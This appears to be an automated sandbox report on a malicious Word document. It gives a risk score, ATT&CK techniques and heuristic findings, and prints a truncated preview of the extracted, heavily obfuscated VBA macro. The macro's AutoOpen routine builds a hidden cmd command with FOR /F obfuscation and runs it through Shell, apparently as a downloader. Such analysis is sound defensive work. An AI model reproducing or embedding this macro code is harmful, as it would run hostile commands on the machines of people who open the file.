MALICIOUS
82
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon opening. The macro attempts to use the Shell function to execute a command, indicating it's likely a downloader for a second-stage payload. The specific command constructed is too obfuscated to fully reconstruct, but the intent is clear.
Heuristics 4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 33094 bytes |
SHA-256: 9be147ce3e435128b408d2285c36e52fabd71eac98ec90b9409122e873b1ff4e |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "hBlmhVqiEGGD"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error Resume Next
vHWMni = sCPlq
psMPi = Atn(416)
VUDZl = aJiGAk
UKzAz = TOQMCH
GjaqL = Sgn(YVQkZV)
SzYiEF = CStr(2)
EKjLbin = "" + HIFcEQbM + KAssZNqEt + CVar("cm") + oovfDTqtl + wlANGKiDRpQSfu + KGRLzqFGON + SpsQSPvjXH + lmNvoj + PLvbIwvJwjQ + KnDmswsXW + vqnJXbiu + jUSFh + oajMwmtl + GuzhitX + cjiulST + HZGscNTWI + EdMYch + EEoUHXr + wJiuEON + FwOrT + wFsium + jJonSAI + OCwcjZh + IEpAHjwmT + DCObzoFfWw + QDKVA + tnMws + UnUalIsmq + XjzJM + sWnnSPHG + ZzYdEHhiRU + zuWiHnMCElB + CpkhpjsPTJh + hmiMNM + EatDdqIhH + vNaFpQSWsHS + fCumFHTAO + dAnIjbnjp + OMJqRuJwY + hRdKiukurH + ElqGABkOuEd + ipNIpipDu + jSsRhr + tAtjpikjSC + vQvKzYibjPw + InNQT + XtsshswM + jWBCSrXF
sEOuQv = tMabNY
Shell@ EKjLbin, 0
tCQSBT = Int(315)
KOLTK = Sgn(vjiEW)
End Sub
Attribute VB_Name = "zclsCzDfTzz"
Function KGRLzqFGON()
On Error Resume Next
arwYM = Round(uQqpQ)
MVmHBCzEk = "d " + " " + " " + "/c"
JCIEtb = Rnd(QqPphf)
zwkIoh = 22514473
waZXtWOwfLk = " " + " " + " F" + "OR /F " + CStr(Chr(wWVUVDjS + wTEiifmYcHoNK + 34 + SqkowlRCNEq + NXzjNGCjO)) + "del" + "ims=f"
WbsOt = Chr(825)
PoYfn = Chr(EbisJ)
NHoSRUPaS = "hA to" + "kens=1" + CStr(Chr(nbCOrYlLprDM + qDiRrinVVKE + 34 + AEdsEjD + iCLpTiUZKL)) + " %f" + " IN ('" + "ftyp" + "e^|find " + CStr(Chr(XCYSWdt + sKjTlHM + 34 + ctcUUcFBKIAvAt + cBFahGJjQqscVi))
dvXcV = 6327
fdGbtr = Hex(60753 / zDjzwi - jSWzs * tHIBi)
pltFVkvz = "md"
OwWOE = CByte(62276 - iYrTz)
nDoJmV = CStr(2)
lnAArW = Hex(77868 * znTWK)
rUqNlDAkE = "fi" + CStr(Chr(bLiKdDhv + SlQKrQiUIF + 34 + RWjsDdkdjb + UpLuVZUJNMoYS)) + "')DO %f " + " /v:o" + "n /R " + " " + CStr(Chr(bwBaRACtLakzDL + qzXqCFjwilzLF + 34 + ZwiJiiBU + vzUkaQwdW)) + " " + " sEt "
KGRLzqFGON = MVmHBCzEk + waZXtWOwfLk + NHoSRUPaS + pltFVkvz + rUqNlDAkE
BCEmJN = Log(7)
End Function
Function SpsQSPvjXH()
On Error Resume Next
iVkZjQ = Rnd(695)
dDZqzmTri = "}]_\=\-" + "_" + "_/-\"
aHdWSVDiXvB = "_" + "//\/-\- " + "__\///" + "--\_-/-"
zHmqIS = CByte(thuUzN)
Jviqzu = Chr(GnGhj / LDaYfi)
NlCUIk = 2862
zPTWOcz = "\\ \---" + "___\/\" + "/\/-/ _/-" + "\\-/-_\\" + "_//_ _/\\_" + "-/_/\\/--_"
iKkRUbGST = " _\_-" + "_-/\"
FBpzLoJhBj = "\" + "\//_-/ " + "/-"
ocjMG = CDbl(NlaHo)
cBsRMo = Rnd(708)
HlbTSt = WtABi
EXMLUAQWvs = "//_/\\__" + "\--\- \/\_" + "//_-\\" + "_/_" + "-- " + "-/\_--//_/"
SpsQSPvjXH = dDZqzmTri + aHdWSVDiXvB + zPTWOcz + iKkRUbGST + FBpzLoJhBj + EXMLUAQWvs
vsaAH = wnGnzJ
HdLDzP = IQCRlR
End Function
Function lmNvoj()
On Error Resume Next
tufiuP = IrcDj
JShQRJ = "-\\\_ " + "-//\_" + "/_\" + "_-\-_\- " + "-\_"
UuufiP = CLng(1)
uXFiPEuGw = "\-\/__/" + "/--" + "_/" + " -" + "\_--/" + "/-\/__\\/" + " \-"
oiXIW = Sin(11821 * XqqjjY + 8610 * nJLSD)
zIpFQ = Hex(2)
KIjMYaO = "_/\/\" + "_" + "/_-\-/- \_"
VXOKXp = Tan(77620 / fIEjUj * 89959 * vrMnsd)
ifNWkl = Log(zssVO)
CzcuEi = "_/\/_\" + "-" + "--/_" + "/- \_\///" + "_\__\/-" + "--" + " -/_/--"
KvrOf = CDbl(lXzoo)
mRqrqC = ChrW(80669 * znnDs + nGwAES / RsEtw)
QTPwkfIzrt = "\-\\_" + "/_/\" + " _-/_/_-" + "_\" + "\\\" + "-/- " + "__--/_/\/-"
VtHvD = Int(377)
HswKAEs = "\/\\_}" + "/\-/-\\__\" + "_/-_/" + "}_\/-\/-"
NjVGCV = "/\-__" + "-\/{/-" + "__-" + "\/\/" + "_/--_\h_\/"
lmNvoj = JShQRJ + uXFiPEuGw + KIjMYaO + CzcuEi + QTPwkfIzrt + HswKAEs + NjVGCV
GPJJMz = CSng(7563 * vzzwtd)
tcERuV = Fix(48112 / zuZnJD / 91928 * 47299)
End Function
Function PLvbIwvJwjQ()
On Error Resume Next
plrjvuiqKJ = "\/-\/" + "-__/-\_c\" + "//_\--/" + "\_-_\_"
FNDZZ = ChrW(971)
jXWuJX = 235612317
PKNQQ = LrtjaD
RPYGc = "/t///\/_-" + "_\---" + "__\a/-_" + "\_" + "-//\\_/"
wKfBj = Int(1)
cpzuDAD = "-_\c_/" + "_\_" + "-/" + "\/-_-/\-}_" + "-/-" + "/_-/"
ndBObX
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.